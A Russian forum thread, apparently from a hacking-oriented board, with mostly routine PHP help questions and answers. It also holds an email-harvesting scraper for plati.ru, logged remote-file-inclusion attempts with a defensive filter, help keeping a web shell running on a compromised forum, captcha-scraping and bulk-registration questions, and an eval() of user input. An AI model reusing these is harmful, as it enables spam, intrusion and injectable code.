Почитай это: http://i-novice.net/osnovy-oop/

Byrger
06.10.2008, 10:59
А ещё не могу понять для чего используется return в функциях...
Ну возврат...но возврат чего к чему? смыст что то возвращать? даче в примере от [x26]VOLAND идёт возврат, но зачем?
Возврат x+y не вижу никакого логического смысла...

mff
06.10.2008, 11:48
HELP! как скрыть показ кода файлов с расширением .tpl ? Когда проходишь по ссылке www.site.ru/temlates/file.tpl - можно увидеть код, вклячая коментарии и т.д. Как скрыть?

Chaak
06.10.2008, 11:49
В чем проблема?

Используй глобальные переменные.

[x26]VOLAND
06.10.2008, 14:32
Лучше
<Files *.tpl>
order allow,deny
deny from all
</Files>

svesve
06.10.2008, 15:37
сорри если не туда пишу.
есть ниспадающий список в котором выводятся эл-ты из БД

посдкажите как реализовать следющую вещь

по клику из списка на какой-либо эл-т чтобы появлялся следующий список...
пока у меня сделано через кнопку(но это не удобно) <input type='hidden' name='prov' value=2>
<input type='submit' name='test' value='View'></form>";
if ($_POST['prov']==2) {
...............
echo "<form action='' method='POST'>
<select name='start1'>"

как можно реализовать все без кнопки?

Vid0k
06.10.2008, 15:50
2 svesve это аякс

svesve
06.10.2008, 16:05
2 svesve это аякс
если под рукой есть простенький примерчик либо ссылочка скинь плиз буду благодарен!

Chaak
06.10.2008, 16:14
если под рукой есть простенький примерчик либо ссылочка скинь плиз буду благодарен!
http://www.xakep.ru/post/35903/default.asp

heretic1990
06.10.2008, 18:25
вот надыбал скрипт для сбора мыльников, может кто протестит, а тот у меня он не работает чёто(((

Скрипт собирает email адреса c plati.ru
Вот пример: информация о продавце http://plati.ru/asp/seller.asp?id_s=13561
id продавца 13561, в анкете указан почтовый адрес Csu@polygon.pp.ru
так вот скрипту достаточно указать с какого по какой id собирать адреса.
это делается очень просто, достаточно передать параметр limit=X;Y,
где X-нижняя граница Y-верхняя.
Например вот так: mail.php?limit=1000;2000
В результате работы скрипта будет сформирована html страница на
которой в столбце отображены адреса, удобно очень, без всякой лишней
информации.


<?php
$limit=$HTTP_GET_VARS["limit"];
$limit = split(";",$limit);

if ($limit[0]<=0) $limit[0]=1;
if ($limit[1]==0) $limit[1]=999999;

$s1= " <td width=100% align=\"left\" valign=\"top\" bgcolor=#f8f8f8>&nbsp;<a class=target href=\"mailto:";
$s2= "</a></td>";
$t = "\">";

$file_c = "http://www.exaccess.ru/asp/seller.asp?id_s=";
for ($i=$limit[0]; $i<=$limit[1]; $i++ )
{ $file = $file_c.$i;
$f=file($file);
$str = $f[159];
$str=str_replace($s1,"",$str);
$str=str_replace($s2,"",$str);
$str=split($t,$str);
echo "<b>".$i."</b> ".$str[0]."<br>";
} /**/


?>

Shadow_p1raT
06.10.2008, 18:28
не тестил,времени нет,но

$limit=$HTTP_GET_VARS["limit"];

В таком стиле ещё моя бабушка кодила)))

Mishatko
06.10.2008, 18:38
Объясните, как происходит формирование Cookies при обращении к сайту Vkontakte.ru, в частности на странице авторизации. Вот к примеру на Ачате сервер сам устанавливает куки. А у Контакта я такого не наблюдаю.
Говорю на основании работы с прогой Naviscope.

Byrger
06.10.2008, 20:41
Я создал HTML документ с формой ввода чисел пользователем и передаю их с помошью POST файлу lost.php который эти 2 числа должен сложить... но что не так? просто пустая страница открывается.



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>
<title></title>
</head>

<body>
<div>
<form action="lost.php" method="post">
<p><input type="text" name="Число1"/></p>
<p><input type="text" name="Число2"/></p>
<p><input type="submit" value="Запрос"/></p>



</form>
</div>
</body>

</html>



и lost.php


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>
<title></title>
</head>

<body>
<div>

<?php
$summa;
$summa = $_POST['Число1'] + $_POST['Число2'];
print $summa;
?>
</div>
</body>

</html>



И как можно объеденить это в 1 фаил, а то я пробовал через action="<?php print $server['PHP_SELF']?>" в вызове формы...
У меня не фыходит...

DDoSька
06.10.2008, 20:54
<html>

<head>
<title></title>
</head>

<body>
<div>
<form action="" method="post">
<p><input type="text" name="Число1"/></p>
<p><input type="text" name="Число2"/></p>
<p><input type="submit" value="Запрос"/><p>
<?php
$summa;
$summa = $_POST['Число1'] + $_POST['Число2'];
print $summa;
?>


</form>
</div>
</body>

</html>
<form action="{тут просто,пусто!}" method="post">

Byrger
06.10.2008, 20:57
DDoSька, хорошо но сумма то не выводится всё равно...
Я вот думаю что мб это у меня с php.ini что-то не то?
Или в коде что-то не так написанно?

rushter
06.10.2008, 21:01
Всё должно работать,на локалхосте чего стоит ?

DDoSька
06.10.2008, 21:04
DDoSька, хорошо но сумма то не выводится всё равно...
Я вот думаю что мб это у меня с php.ini что-то не то?
Или в коде что-то не так написанно?
Скрипт потестиил,у меян на локалхосте все работает,я думал с переменными на русском не будет работать...а оказалось все иначе

Byrger
06.10.2008, 21:05
Всё должно работать,на локалхосте чего стоит ?
Денвер последний с сайта и ПХП 5.2.6 под win32 (просто пихнул всё из архива в WebServers/usr/local/php6)

ЗЫ полное описание денвера Denwer3_Base_2008-01-13_a2.2.4_p5.2.4_m5.0.45_pma2.6.1

rushter
06.10.2008, 21:06
тоесть ты просто скачал php 5.2 и кинул его в папку с денвером ?
зря ты так сделал,переустанавливай денвер
если хочешь юзать php 5.2.6,то ставб отдельно php apache

Byrger
06.10.2008, 21:10
тоесть ты просто скачал php 5.2 и кинул его в папку с денвером ?
зря ты так сделал,переустанавливай денвер
если хочешь юзать php 5.2.6,то ставб отдельно php apache
Я это сделал после того как скрипт поставил...
Тоесть он не запустился...я поставил PHP

Byrger
06.10.2008, 21:18
Денвер переустановил, проблема не ушла...
ПОпробовал 3 браузера IE Opera Mozila
Во всех если брать пример ДДоСьки то после ввода чисел страница просто обнавляется и передо мной опять 2 пустых поля и кнопка "Запрос" :confused:

DDoSька
06.10.2008, 21:20
Попробуй переменные поменять на английские,хз может покатит

rushter
06.10.2008, 21:24
http://www.wampserver.com/en/
http://www.apachefriends.org/en/index.html - xampp

Byrger
06.10.2008, 21:26
Попробуй переменные поменять на английские,хз может покатит

Нет не помогло... исзменил числа на num1 и num2 а кнопку на GO!

ЗЫ прочитай пост выше (ортедактировал)

Doom123
06.10.2008, 22:22
Byrger

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>
<title></title>
</head>

<body>
<div>
<?php
if(isset($_POST['GO']))
exit((int)$_POST['num2'] + (int)$_POST['num1'].'</div></body></html>'); ?>
<form method="post">
<p><input type="text" name="num1"/></p>
<p><input type="text" name="num2"/></p>
<p><input type="submit" name="GO" value="Запрос"/></p>
</form>
</div>
</body>

</html>

-=Static=-
06.10.2008, 22:53
Кто нить, плз, подскажите как мне сделать так, чтоб код выполнялся поэтапно?
Тоесть, например: Отправили запрос, получили ответ, вывели на экран...Потом дальше..
??

Chaak
06.10.2008, 22:58
Кто нить, плз, подскажите как мне сделать так, чтоб код выполнялся поэтапно?
Тоесть, например: Отправили запрос, получили ответ, вывели на экран...Потом дальше..
??
<?php
send_zapr();
echo 'Запрос отправлен';
flush();
ob_flush(); // ну или наоборот
?>

nerezus
07.10.2008, 00:00
Блин. ну неужели так сложно взять книжку и прочитать первые 10 страниц хотябы? Это же самые основы.

-=Static=-
07.10.2008, 12:17
nerezus, ты кому и о чем?

Byrger
07.10.2008, 12:29
и ещё вопросик..
Как сделать вместо + в переменной $summa знак который вводит пользователь в поле "Знак" и чтоб выражение работало...


<html>

<head>
<title></title>
</head>

<body>
<div>
<form action="" method="post">
<p><input type="text" name="Число1"/></p>
<p><input type="text" name="Число2"/></p>
<p><input type="text" name="Знак"/></p>
<p><input type="submit" value="Запрос"/><p>
<?php
$summa;
$num3;
$num3 = $_POST['Знак'];
$summa = $_POST['Число1'] + $_POST['Число2'];
print $summa;
print "<br>";
print $num3;
?>


</form>
</div>
</body>

</html>



ЗЫ rushter спс за WAMPserver
И как ещё сделать чтоб на новой странице отображались эти результаты...А то они у меня под кропкой "Запрос"

-=Static=-
07.10.2008, 12:40
Вот так можно

<?
fucntion calc($znak, $c1, $c2)
{
switch($znak)
{
case "+":
$result = $c1 + $c2;
break;
case "-":
$result = $c1 - $c2;
break;
case "*":
$result = $c1 * $c2;
break;
case "/":
$result = $c1 / $c2;
break;
}
return $result;
}

echo calc($_POST['Знак'], $_POST['Число1']?, $_POST['Число2']);

?>

[x26]VOLAND
07.10.2008, 12:42
Как сделать вместо + в переменной $summa знак который вводит пользователь в поле "Знак" и чтоб выражение работало...
eval("$summa = $_POST['Число1'] ".$_POST['Знак']." $_POST['Число2'];");Это в теории. на практике обязятельно сделай проверку на вводимое значение 'Знак'.
Пример:$signs = array('+', '-', '/', '*');
if (in_array($_POST['знак'], $signs))
{
$sign = $_POST['знак'];
}
eval("$summa = $_POST['Число1'] " . $sign . " $_POST['Число2'];");

ЗЫ: используй латинские индексы - меньше проблем будет. (znak вместо Знак и т.д.)

И как ещё сделать чтоб на новой странице отображались эти результаты...А то они у меня под кропкой "Запрос"Никак, ведь у тебя сначала идёт безусловный вывод HTML а уже потом выполняется php-код. поменяй структуру файла.

go2be
25.10.2008, 08:31
Нужен хелп.
Решил написать скрипт, который будет принимать капчу с нужного мне сайта.
Взял сайт [Х].
Стоит защита, напрямую картинку не получить. Получил через сокет с отправкой реферала и т.д..
Такая трабла принимаю данные, приходит картинка. Тупо принятые данные сохраняю в jpg файл. ACDSee читает картинку, другие программы не воспринимают, мне нужно получить полноценную картинку. Решил, что проблема в заголовках (header)
Вопросы:
- Как убрать заголовки
- Как с данных напрямую вывести картинку в php скрипте (content-type: image/jpg) Не помогает.
Может кто занимался подобным. Подскажите ваши решения. Спасибо

~NeiTRoN~
25.10.2008, 12:22
народ возникла проблема, помогите кто может!
Суть проблемы вот в чем:
Есть цмс joomla у ее базы стоит кодировка general1251. Есть компонент(самописный). Так вот когда я экспортирую данные из cvs файла в таблицу компонента, если у таблицы стоит general1251 заносятся тупо ? вместо русских букв.Как быть???

temp_late
25.10.2008, 12:52
если у таблицы стоит general1251 заносятся тупо ? вместо русских букв.Как быть???
Поэксперементируй, попробой смнеить кодировку запросов: например: mysql_query('SET NAMES cp1251');
Или конвертируй текст в нужную кодировку covert_cyr_string();

Gifts
25.10.2008, 12:56
go2be Если ты получаешь картинку сокетом, то проблема не в лишних заголовках, а как раз в их отсутствии. Посмотри внимательно сниффером, какой запрос посылает браузер за картинкой.

А так, схема приблизительно такая:


<?PHP
function post($url,$content='')
{
//некая функция для удобства запросов
}
post (<урл со страницей, где капча>);
//получили нужные куки, и всю остальную шляпу
file_put_contents('local.jpg',post(<сама капча>));
echo '<img src="local.jpg">';
?>

temp_late
25.10.2008, 12:57
Нужна помощь, немогу понять как правильно нужно перемещать загруженные файлы в папки сайта. Проблемма заключаеться в том что файлы переноситься лишь в директори с правами 0777. Пробовал менять права через chmod(); но они не меняют, может функция устарела, на хостинге php5.
Буду рад любой информации.

go2be
25.10.2008, 13:34
Gifts Делал я так. Не воспринимает картинку за картинку =\
Тут видимо трабла в заголовках
------------------------------
Все спасибо разобрался )
Просто взял весь принятый объем в массив. Каждая строка - элемент массива.
Проследил, что заголовки - первые 12 элементов.
Просто начал выводить массив с 12 элемента )
А в header поставил Content-type: image/jpeg
))))

Gifts
25.10.2008, 14:20
go2be Что то страшное - обычно убивают заголовки, это если не массив а строка, ессесн
$img=preg_replace("#^[\s\S]*?\r\n\r\n#i",'',$img);

temp_late Почитай про разграничение прав в никсах. Апач запущен от пользователя nobody а папки, например, с правами user - естественно ты не сможешь с ними ничего сделать.

spamoney
26.10.2008, 16:30
Всем Добрый День!
Не могли бы Вы мне помочь составить регулярное выражение, я уже обращался с этим вопросом, но видимо не полностью всё объяснил, либо меня не так поняли:

допустим есть текст:
$text="<tr>СЛОВО9<td><a href='#'>СЛОВО1-СЛОВО8</a>СЛОВО1-СЛОВО3-СЛОВО5<strong>СЛОВО1</strong>СЛОВО2</td></tr>"; //Текст абсолютно производный (любой), каждый раз разный

также есть набор ключевых слов через запятую:
$keywords="СЛОВО1, СЛОВО3, СЛОВО8"; //Задаются в самом скрипте



Необходимо, сделать так, что бы каждое ключевое слово в тексте заменялось допустим на одно единственное NEWSLOVO, только в том случае, если оно не заключено в тэги <a></a> и <strong></strong> , т.е исходный текст получится таким:

$text="<tr>СЛОВО9<td><a href='#'>СЛОВО1-СЛОВО8</a>NEWSLOVO-NEWSLOVO-СЛОВО5<strong>СЛОВО1</strong>СЛОВО2</td></tr>";

P.S

Еще один вопрос немного не по теме, очень часто у себя в логе на сайте, в ошибках вижу такое:

200.89.68.125 - - [20/Oct/2008:07:12:03 +0400] "GET //amember/rconfig.inc.php?config%5Broot_dir%5D=http://www.soaresdacosta.pt/readme.txt?? HTTP/1.0" 404 49891 "-" "libwww-perl/5.65"

200.89.68.125 - - [21/Oct/2008:12:34:52 +0400] "GET //modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=http://www.soaresdacosta.pt/readme.txt?? HTTP/1.0" 403 465 "-" "libwww-perl/5.65"

89.111.180.85 - - [21/Oct/2008:12:34:52 +0400] "GET //contacts/?_SERVER[DOCUMENT_ROOT]=http://www.sante.su/images/log.txt??? HTTP/1.0" 404 465 "-" "libwww-perl/5.65"

Кто это или что это пытается сделать с моим сайтом?
И как можно защитится от такого?

OnArs
26.10.2008, 18:43
Подскажите пожалуйста, как получить страницу с которой пришёл посетитель на данную страницу?

Заранее благодарен!

Chaak
26.10.2008, 18:47
Подскажите пожалуйста, как получить страницу с которой пришёл посетитель на данную страницу?

Заранее благодарен!

echo $_SERVER["HTTP_REFERER"];

---------------------------------------------------

Еще один вопрос немного не по теме, очень часто у себя в логе на сайте. Кто это или что это пытается сделать с моим сайтом?
И как можно защитится от такого?
Хакеры хотят залить шелл через php-injection...(и возможно заливают)

В php.ini: allow_url_fopen = On на allow_url_fopen = Off
или
В: .htaccess php_flag allow_url_fopen Off

и в каждый скрипт(ну и 'неуязвимый' тоже) в начале вставь код:
<?php
foreach($_GET as $key=>$get_1)
{
$get_1 = str_replace(NULL,'',urldecode($get_1));
$_GET[$key] = $get_1;
if((string)strpos($get_1,'http://')=='0' || (string)strpos($get_1,'php://')=='0' || (string)strpos($get_1,'/')=='0' || (string)strpos($get_1,'\\')=='0')
{
die('haccking attempt');
}
}
?>
Да... и еще: обновись на последнюю версию php_bb

OnArs
26.10.2008, 20:29
ChaaK, как всегда :)
Большое Спасибо!

---

Возникла проблема с переадресацией:

файл: per.php
<?
echo "<meta http-equiv='refresh' content='3; url='".$_SERVER['HTTP_REFERER']."'>";
?>

Параметр $_SERVER['HTTP_REFERER'] правильно возвращает адрес - реферер, но не тем не менее функция, переадресует на файл per.php, т.е. сам на себя.

Пдскажите, пожалуйста, в чём проблема!? :confused:

OnArs
26.10.2008, 20:51
ChaaK, спасибо, Я это понимаю.
Специально для того, чтобы проверить, я разместил ссылку на стороне, но увы.
Всё же, В чём может быть проблема? :|

astrologer
26.10.2008, 20:59
OnArs,<?
echo "<meta http-equiv='refresh' content='3; url='".$_SERVER['HTTP_REFERER']."'>";
// ^ Вот этот апостроф надо убрать.
?>

OnArs
26.10.2008, 21:03
Вот ведь бывает такое :)

Большое Спасибо!

rushter
26.10.2008, 22:26
где можно о регулярках поподроьней прочитать ?

NOmeR1
26.10.2008, 23:21
rushter,
http://php.ru/manual/reference.pcre.pattern.syntax.html
http://php.ru/manual/reference.pcre.pattern.modifiers.html

Рекомендую, т.к сам по этим ссылкам узнал с чем их едят.

Red_Red1
27.10.2008, 00:57
Бьюсь вторые сутки, помогите разобраться.
Есть такой код

<?php
include('conf_test.php');
function add_f($h)
{
$mysqli=myDB::myDB_getobj();
$stmt = $mysqli->prepare("CALL add_data(?)");
$stmt->bind_param('s',$h);
$stmt->execute();
$stmt->bind_result($add);
$stmt->fetch();
$stmt->close();
return $add;
}
for ($i=0; $i<10; $i++)
echo add_f('3d2295c85e7a167'.$i);
?>

Цикл сделан просто для теста, что бы несколько раз выполнилось с разными параметрами.
Запускаю скрипт все отработало как нужно, жму F5, тоже все впорядке но если еще потыкать F5 то на какой то раз появится ошибка

Fatal error: Call to a member function bind_param() on a non-object in D:\locNet\UsbWebserver\Root\test\indext.php on line 7

Вот какого это все происходит?!?!??
Вот код conf_test.php

<?php
class myDB extends mysqli
{
const DB_HOST = 'localhost';
const DB_LOGIN ='root';
const DB_PASS = '1111';
const DB_NAME = '2';
static private $mysqli_con=null;
static function myDB_getobj()
{
if (self::$mysqli_con == NULL)
{
self::$mysqli_con = new myDB(self::DB_HOST,self::DB_LOGIN,self::DB_PASS,se lf::DB_NAME,3307);
}
return self::$mysqli_con;
}
}
?>

Буду рад хоть какойто помощи.

[x26]VOLAND
27.10.2008, 07:11
где можно о регулярках поподроьней прочитать ?http://s53.radikal.ru/i140/0810/9e/0b7c4e721a86t.jpg (http://radikal.ru/F/s53.radikal.ru/i140/0810/9e/0b7c4e721a86.png.html)

Red_Red1, дай код класса mysqli

Ru}{eeZ
27.10.2008, 08:06
2Red_Red1, а чего цикл не правильно указываешь?:

for ($i=0; $i<10; $i++) {
echo add_f('3d2295c85e7a167'.$i);
}

[x26]VOLAND
27.10.2008, 08:36
Ru}{eeZ если в теле цикла один оператор скобки можно не прописывать.

Red_Red1
27.10.2008, 10:08
VOLAND']Red_Red1, дай код класса mysqli
У меня нету этого кода. Это класс библиотеки mysqli , вот описание http://php.su/functions/?cat=mysqli

spamoney
27.10.2008, 10:45
Здравствуйте, такой вопрос: как мне средствами php проверить включена ли у меня на хостинге функция mail(); для отправки писем, т.е допустим проверку на установленные на хосте расширения мы делаем так:



if (extension_loaded('gzip')) {
исполняемый код....
}



как можно также проверять и функцию mail ??

Chaak
27.10.2008, 10:55
if(mail()){}

if(function_exists("mail")){}

[x26]VOLAND
27.10.2008, 11:36
if(function_exists("mail")){}Тут идёт проверка наличия функции в самом php, но никак не на хосте.

я бы сделал так (если конечно запрет идёт через php.ini):
if (strstr('mail', ini_get('disable_functions'))) { echo 'mail() forbidden'; }

Gadik
27.10.2008, 15:20
Добрый день. Помогите пожалуйста с регулярочкой. Надо и текста найти все числа которые входят в:

156...<a class=news href='/rus/detail/190335'>П....45

т.е. отсюда должно быть взято число 190335


Заранее спасибо!

Chaak
27.10.2008, 16:48
Добрый день. Помогите пожалуйста с регулярочкой. Надо и текста найти все числа которые входят в:

156...<a class=news href='/rus/detail/190335'>П....45

т.е. отсюда должно быть взято число 190335


Заранее спасибо!
<?php
$preg="<a class=news href='/rus/detail/190335'>";
preg_match_all("#<a class\=news href\='/rus/detail/([0-9]+)'>#UiS",$preg,$match);

print_r($match);
//все цифры будут лежать в двумерном массиве: $match['1'][сдесь_индексы_найденного]
?>

------------------------------------------------------------

VOLAND']Тут идёт проверка наличия функции в самом php, но никак не на хосте.

я бы сделал так (если конечно запрет идёт через php.ini):
if (strstr('mail', ini_get('disable_functions'))) { echo 'mail() forbidden'; }

<?php
if(function_exists('fopen'))
echo('Функция включена');
?>
Попробуй запусти с выключенной функцией - fopen()
function_exists - возвращает TRUE, если данная функция определена.
В данном случае, php отключенные функции в память не грузит, поэтому их определения не существует. Следовательно мы можем использовать function_exists и для поиска отключенных функций

Gadik
27.10.2008, 17:47
ChaaK, пасибо. все работает)

Ru}{eeZ
27.10.2008, 17:48
VOLAND']Ru}{eeZ если в теле цикла один оператор скобки можно не прописывать.
Спасибо, не знал :)

Rigo
28.10.2008, 08:56
Здравствуйте. Подскажите пожалуйста, решил попробовать написать
полуавтоматический регер на pochta.ru.
Обнаружил что при отправке формы,
перед параметрами подставляется набор цифр и букв,
вот так например:
ch2c2bb12bb7c7c6bf1c49cbcd0d090ee8=1224674487&id=5c317031db84ed1363a0fd2c85873f5a.......
&from_promo=0&rid=&lng=ru&newmail=&second_name=&first_name=&sure_name=&reg_login=.............,
что это за параметр, откуда он берется и как его выдернуть,
чтоб потом передать? На странице я его не нашел.

blaga
28.10.2008, 09:45
риго, епт поправь сообщение, верстка плывет...

2All.
Подскажите плиз есть массив.
1 - Петя
2 - Вася
3 - Коля
4 - Миша
5 - Равшан

нужно удалить один элемент, и что бы ключи остались теми же. тоесть удаляем значение Вася. далжно получится
1 - Петя
2 - Коля
3 - Миша
4 - Равшан
Если просто удалять unset ом тогда удалится значение и ключ. а мне нужно чтобы ключи всегда шли один за другим....

VDShark
28.10.2008, 09:59
риго, епт поправь сообщение, верстка плывет...

2All.
Подскажите плиз есть массив.
1 - Петя
2 - Вася
3 - Коля
4 - Миша
5 - Равшан

нужно удалить один элемент, и что бы ключи остались теми же. тоесть удаляем значение Вася. далжно получится
1 - Петя
2 - Коля
3 - Миша
4 - Равшан
Если просто удалять unset ом тогда удалится значение и ключ. а мне нужно чтобы ключи всегда шли один за другим....
Стандартной ф-ции не припомню, самому проектировать :) А-ля удаляешь элемент, а потом проходишся по массиву и выставляешь ключи по порядку=\

[x26]VOLAND
28.10.2008, 10:35
blaga
Например, sort() не сохраняет ключи.

Или просто прогнать в цикле (ключи назначатся автоматически):foreach ($array as $value)
{
$newArray[] = $value;
}

Gifts
28.10.2008, 11:24
blaga $ar=array('a','b','c','d');
unset($ar[2]);
$ar=array_values($ar);

Vid0k
28.10.2008, 14:03
что за ф-ии
mb_strlen()
mb_strpos()
погуглил про библу ни чо не нашел

[x26]VOLAND
28.10.2008, 14:36
mb_strlen -- Get string length
Description
int mb_strlen ( string str [, string encoding] )


mb_strlen() returns number of characters in string str having character encoding encoding. A multi-byte character is counted as 1.

encoding is character encoding for str. If encoding is omitted, internal character encoding is used.
mb_strpos -- Find position of first occurrence of string in a string
Description
int mb_strpos ( string haystack, string needle [, int offset [, string encoding]] )


mb_strpos() returns the numeric position of the first occurrence of needle in the haystack string. If needle is not found, it returns FALSE.

mb_strpos() performs multi-byte safe strpos() operation based on number of characters. needle position is counted from the beginning of the haystack. First character's position is 0. Second character position is 1, and so on.

If encoding is omitted, internal character encoding is used.

offset is search offset. If it is not specified, 0 is used.

encoding is character encoding name. If it is omitted, internal character encoding is used.
...

Vid0k
28.10.2008, 14:41
у меня на денвере пишет что не знает их

.:nbd:.
28.10.2008, 15:03
mb - MultiByte. Почитать можно здесь (http://ru2.php.net/manual/ru/book.mbstring.php)

Gifts
28.10.2008, 15:41
Vid0k В файле php.ini убери ; в строке:
;extension=php_mbstring.dll И рестартни апач

Nightmarе
28.10.2008, 16:26
Народ, подскажите как у прямой ссылки например: http://site.ru/lol.mp3 получить точный размер файла не скачивая его на сервер?
Ведь при скачке такого файла размер уже указывается автоматически, думаю возможно его с помощью php получить...

Jer1cho
28.10.2008, 16:37
function fsize($path)
{
$fp = fopen($path, 'r');
$inf = stream_get_meta_data($fp);
fclose($fp);
foreach($inf['wrapper_data'] as $v)
if(stristr($v, 'content-length'))
{
$v = explode(':',$v);
return trim($v[1]);
}
}

Vid0k
28.10.2008, 16:40
Gifts спасибо помогло

Joker-jar
28.10.2008, 16:44
Nightmarе, можно послать HTTP-запрос с методом HEAD. Типичный пример:

HEAD /lol.mp3 HTTP/1.0
Connection: Close
User-Agent: Mozilla/4.05 (WinNT; 1)
Host: site.ru


В ответе от сервера анализировать Content-Length

art2222
28.10.2008, 20:08
Здравствуйте. Возник такой вопрос:
Как скачать файл с ftp посредством php+cURL?

Naydav
28.10.2008, 20:56
Здравствуйте. Возник такой вопрос:
Как скачать файл с ftp посредством php+cURL?

<?php

// объявление переменных
$local_file = 'local.zip';
$server_file = 'server.zip';

// установка соединения
$conn_id = ftp_connect($ftp_server);

// вход с именем пользователя и паролем
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// попытка скачать $server_file и сохранить в $local_file
if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {
echo "Произведена запись в $local_file\n";
} else {
echo "Не удалось завершить операцию\n";
}

// закрытие соединения
ftp_close($conn_id);

?>
h_ttp://www.php.su/functions/?ftp-get

Или нет пароля к фтп?

art2222
28.10.2008, 21:05
Или нет пароля к фтп?
Нет, пароль есть. Спасибо.

heretic1990
28.10.2008, 22:41
подскажите пожалуйста скрипт удалённой загрузки.

DarkMagic
29.10.2008, 02:50
залил шелл на форум,стал выдавать ошибку
Fatal error: Out of memory (allocated 262144) (tried to allocate 77824 bytes) inадрес шелла
так понимаю не хвотает оперативы,но раньше всё было ок.Как можно исправить?

Naydav
29.10.2008, 09:05
залил шелл на форум,стал выдавать ошибку
Fatal error: Out of memory (allocated 262144) (tried to allocate 77824 bytes) inадрес шелла
так понимаю не хвотает оперативы,но раньше всё было ок.Как можно исправить?

Ошибка "Fatal error: Out of memory (allocated X)" возникает, если не ошибаюсь, когда самому интерпретатору php не хватает места в оперативке, а не твоему скрипту, и memory_limit к этому отношения не имеет. (При превышении memory_limit возникает ошибка вида "Fatal error: Allowed memory size of X bytes exhausted (tried to allocate Y bytes)")
Но можно, все же попробывать, добавить в начало проблемного скрипта(шелла) -
ini_set('memory_limit', '128M');

Zircool
29.10.2008, 09:30
Есть ли у кого-нибудь примеры скрипта, по загрузки файла с компа в нет. Ну к примеру как на форуме загрузка аватара в профиль. Даже не знаю как это можно осуществить.C помощью curl? Любая информация будет полезна.

Naydav
29.10.2008, 09:35
Есть ли у кого-нибудь примеры скрипта, по загрузки файла с компа в нет. Ну к примеру как на форуме загрузка аватара в профиль. Даже не знаю как это можно осуществить.C помощью curl? Любая информация будет полезна.

h_ttp://www.php.su/phphttp/?uploads

Да уже 100 раз обсуждалось на ачате
h_ttp://forum.antichat.ru/thread77906-%F1%EA%F0%E8%EF%F2+%E7%E0%E3%F0%F3%E7%EA%E8.html

Naydav
29.10.2008, 09:36
подскажите пожалуйста скрипт удалённой загрузки.

Вот функция, которая ещё и докачку поддерживает.
Была выложена на ачате


function downloadFile($filename, $mimetype='application/octet-stream')
{
$from=$to=0;
$cr=NULL;
if(isset($_SERVER['HTTP_RANGE']))
{
$range=substr($_SERVER['HTTP_RANGE'],strpos($_SERVER['HTTP_RANGE'],'=')+1);
$from=strtok($range,'-');
$to=strtok('/');
if($to>0) $to++;
if($to) $to-=$from;
header('HTTP/1.1 206 Partial Content');
$cr='Content-Range: bytes'.$from.'-'.(($to)?($to.'/'.$to+1):filesize($filename));
}
else
header('HTTP/1.1 200 Ok');

$etag=md5($filename);
$etag=substr($etag, 0, 8).'-'.substr($etag, 8, 7).'-'.substr($etag, 15, 8);
header('ETag: "'.$etag.'"');
header('Accept-Ranges: bytes');
header('Content-Length: '.(filesize($filename)-$to+$from));
if($cr) header($cr); header('Connection: close');
header('Content-Type: '.$mimetype);
header('Last-Modified: '.gmdate('r',filemtime($filename))); $f=fopen($filename, 'r');
header('Content-Disposition: attachment; filename="' . basename($filename) . '";');
if($from)fseek($f,$from,SEEK_SET);
if(!isset($to) or empty($to))
{
$size=filesize($filename)-$from;
}
else
{
$size=$to;
}

$downloaded=0;

while(!feof($f) and !connection_status() and ($downloaded<$size))
{
echo fread($f,512000);
$downloaded+=512000;
flush();
}

fclose($f);
}

Chaak
29.10.2008, 09:41
подскажите пожалуйста скрипт удалённой загрузки.
<?php
$download = 'http://google.com/1.rar';
$save = '1.rar';
$str= '';


$d = fopen($download,'r');
$s = fopen($save,'w+');

while(!feof($d))
{
$str = fread($d,512);
fputs($s,$str);
}
fclose($d);
fclose($s);
?>
-----------------------------------------------------------------

Есть ли у кого-нибудь примеры скрипта, по загрузки файла с компа в нет. Ну к примеру как на форуме загрузка аватара в профиль. Даже не знаю как это можно осуществить.C помощью curl? Любая информация будет полезна.
Это на свой:
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='uploadfile'>
<input type='submit' value='Загрузить'></form>
<?php

// Каталог, в который мы будем принимать файл:
$uploaddir = './files/';
$uploadfile = $uploaddir.basename($_FILES['uploadfile']['name']);

// Копируем файл из каталога для временного хранения файлов:
if (copy($_FILES['uploadfile']['tmp_name'], $uploadfile))
{
echo "<h3>Файл успешно загружен на сервер</h3>";
}
else { echo "<h3>Ошибка! Не удалось загрузить файл на сервер!</h3>"; exit; }

// Выводим информацию о загруженном файле:
echo "<h3>Информация о загруженном на сервер файле: </h3>";
echo "<p><b>Оригинальное имя загруженного файла: ".$_FILES['uploadfile']['name']."</b></p>";
echo "<p><b>Mime-тип загруженного файла: ".$_FILES['uploadfile']['type']."</b></p>";
echo "<p><b>Размер загруженного файла в байтах: ".$_FILES['uploadfile']['size']."</b></p>";
echo "<p><b>Временное имя файла: ".$_FILES['uploadfile']['tmp_name']."</b></p>";

?>

А если на чужой
<?php
$upload = 'полный путь до файла на компе';
$postdata = array('имя поля на сайте для сохр. файла' => "@".$upload ); //в массиве передашь нужные поля 'имя'=>значение

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'скрипт загрузки');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_exec($ch);
curl_close($ch);
?>

Rigo
29.10.2008, 10:42
Неужели никто не подскажет, господа гуру? Выделенное красным шрифтом интересует.
Здравствуйте. Подскажите пожалуйста, при отправке формы с http://www.pochta.ru/register/,
перед запросами формы подставляется набор цифр и букв,
вот так например:
ch2c2bb12bb7c7c6bf1c49cbcd0d090ee8=1224674487&id=5c317031db84ed1363a0fd2c85873f5a.......
&from_promo=0&rid=&lng=ru&newmail=&second_name=&first_name=&sure_name=&reg_login=.............,
что это за параметр, откуда он берется и как его выдернуть,
чтоб потом передать своим скриптом? На странице я его не нашел.

.:nbd:.
